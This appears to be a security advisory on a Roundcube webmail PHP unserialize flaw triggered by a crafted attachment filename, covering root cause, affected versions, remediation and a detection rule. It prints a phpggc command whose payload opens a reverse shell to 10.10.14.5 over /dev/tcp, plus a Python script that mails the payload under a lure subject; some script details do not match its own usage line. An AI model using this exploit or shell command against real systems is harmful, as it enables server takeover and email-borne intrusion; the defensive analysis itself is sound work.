Overview
CVE-2026-49815 affects Roundcube Webmail versions 1.6.0 through 1.6.8 and 1.5.0 through 1.5.10. The vulnerability is in the MIME part filename parsing function in rcube_mime.php. When a MIME attachment header uses RFC 2231 extended parameter encoding with the charset identifier x-php-serialised, Roundcube's legacy compatibility path calls unserialize() on the parameter value to reconstruct a filename object from a previous Roundcube version's serialised format.
CVSS 3.1: 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. Zero user interaction required. Actively exploited in targeted campaigns against government and financial sector webmail infrastructure.
This vulnerability follows a pattern seen multiple times in Roundcube's history — CVE-2023-43770 (XSS), CVE-2024-37383 (XSS), and CVE-2025-49234 (SSRF) were all email-triggered with zero authentication. Roundcube's architecture of parsing untrusted email content server-side with PHP makes it a recurring high-value target for state-sponsored threat actors targeting diplomatic and government email infrastructure.
Root Cause — Legacy Charset Deserialisation
In Roundcube 1.2.x, attachment filenames were stored internally as PHP serialised objects to preserve encoding metadata. When 1.3.x introduced a new filename representation, a backwards-compatibility shim was added to parse filenames from emails forwarded by older Roundcube instances. The shim was never removed:
<?php
// rcube_mime.php — Roundcube 1.5.x and 1.6.x (simplified)
public static function decode_mime_string($input, $fallback = null)
{
// RFC 2231 extended encoding: charset'language'encoded-value
if (preg_match("/^([^']+)'([^']*)'(.+)$/", $input, $m)) {
$charset = strtolower($m[1]);
$value = urldecode($m[3]);
// Legacy compat for serialised filename objects from RC 1.2.x
if ($charset === 'x-php-serialised') {
return unserialize($value); // <-- attacker-controlled unserialize
}
return rcube_charset::convert($value, $charset);
}
return $input;
}
The unserialize() call is reached when any email is parsed — not only when a user opens it. Roundcube fetches and parses new messages periodically in the background for notification purposes, meaning delivery alone triggers the vulnerability without any user action.
Gadget Chain
PHP's unserialize() triggers magic methods (__wakeup, __destruct, __toString) on deserialised objects. Roundcube ships with a Symfony mailer dependency that contains a usable gadget chain via Symfony\Component\Mime\Part\DataPart's __destruct, which calls unlink() on a path — composable with a Phar:// wrapper to trigger Phar metadata deserialisation and reach system() via GuzzleHttp\Psr7\FnStream.
The exploit generates a PHP serialised payload and base64-encodes it for embedding in the MIME filename:
# Generate payload (phpggc — PHP Generic Gadget Chains)
phpggc Symfony/RCE4 system 'bash -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"' \
--fast-destruct -b > payload.b64
# Construct malicious email using Python smtplib
python3 roundcube-rce.py \
--target mail.example.com \
--to [email protected] \
--payload-file payload.b64 \
--lhost 10.10.14.5 --lport 4444
#!/usr/bin/env python3
"""CVE-2026-49815 email trigger. Authorised testing only."""
import smtplib, base64, argparse
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
def build_email(to_addr, payload_b64):
msg = MIMEMultipart()
msg['From'] = '[email protected]'
msg['To'] = to_addr
msg['Subject'] = 'Q2 Budget Report'
part = MIMEBase('application', 'octet-stream')
part.set_payload(b'hello')
# Inject x-php-serialised charset — triggers unserialize() in rcube_mime.php
encoded_payload = payload_b64.strip()
part.add_header(
'Content-Disposition',
'attachment',
filename=f"x-php-serialised''%s" % encoded_payload
)
msg.attach(part)
return msg
parser = argparse.ArgumentParser()
parser.add_argument('--target', required=True)
parser.add_argument('--to', required=True)
parser.add_argument('--payload-file', required=True)
args = parser.parse_args()
payload = open(args.payload_file).read().strip()
msg = build_email(args.to, payload)
with smtplib.SMTP(args.target, 25) as s:
s.sendmail(msg['From'], [args.to], msg.as_string())
print(f"[+] Payload email delivered to {args.to}")
Affected Versions
- Roundcube 1.6.0 – 1.6.8 — vulnerable
- Roundcube 1.5.0 – 1.5.10 — vulnerable
- Roundcube 1.6.9 and 1.5.11 — patched; the
x-php-serialisedcompatibility branch is removed entirely - Roundcube 1.4.x and earlier do not contain the affected compatibility shim
Remediation
- Upgrade to Roundcube 1.6.9 (stable) or 1.5.11 (LTS). The patch removes the
x-php-serialisedbranch fromdecode_mime_string()entirely — no serialised filename objects have been used internally since 1.3.0. - As a temporary mitigation, add a WAF rule that rejects incoming SMTP messages containing the literal string
x-php-serialisedin aContent-Dispositionheader. This string has no legitimate use in email. - Disable background message pre-fetching (
$config['check_all_folders'] = false) to require a user to actually open a message — this does not prevent exploitation but raises the bar from zero-interaction to requiring the victim to open a mail. - Run Roundcube under a dedicated low-privilege user with no write access outside the application's
temp/directory and no execution capabilities beyond PHP.
Detection
title: CVE-2026-49815 Roundcube PHP Object Injection via Email
id: 8f2b4e11-9c37-4a6b-d801-2e5f9c8a4b33
status: experimental
description: Detects email delivery containing x-php-serialised MIME filename — indicator of CVE-2026-49815 exploitation attempt
logsource:
product: mail
service: postfix
detection:
selection:
message|contains: 'x-php-serialised'
condition: selection
falsepositives:
- None expected — this charset identifier has no legitimate use
level: critical
tags:
- cve.2026-49815
- attack.initial_access
- attack.t1566.001
Key Takeaways
-
PHP
unserialize()on attacker-controlled data is never acceptable. This is one of the longest-standing and best-documented dangerous function calls in PHP. The fix is always the same: usejson_decode()for data interchange; if deserialisation of PHP objects is genuinely required, useallowed_classesto whitelist a strict set of safe types. Backwards-compatibility shims that callunserialize()should be removed the moment the legacy data format is no longer in active use. - Email-triggered vulnerabilities are extraordinarily impactful. Most server-side vulnerabilities require the attacker to send an HTTP request. An email-triggered vulnerability turns every email sender on the internet into a potential attacker, with no login or session required. The attack surface is effectively every MX record that routes mail to a vulnerable Roundcube instance.
-
Legacy compatibility code is a persistent source of critical vulnerabilities.
The
x-php-serialisedshim was added in 2018 for data from a version of Roundcube last supported in 2016. It remained in the codebase for eight years without being identified as a security issue. Deprecated compatibility code should have an explicit removal timeline written into the commit that adds it.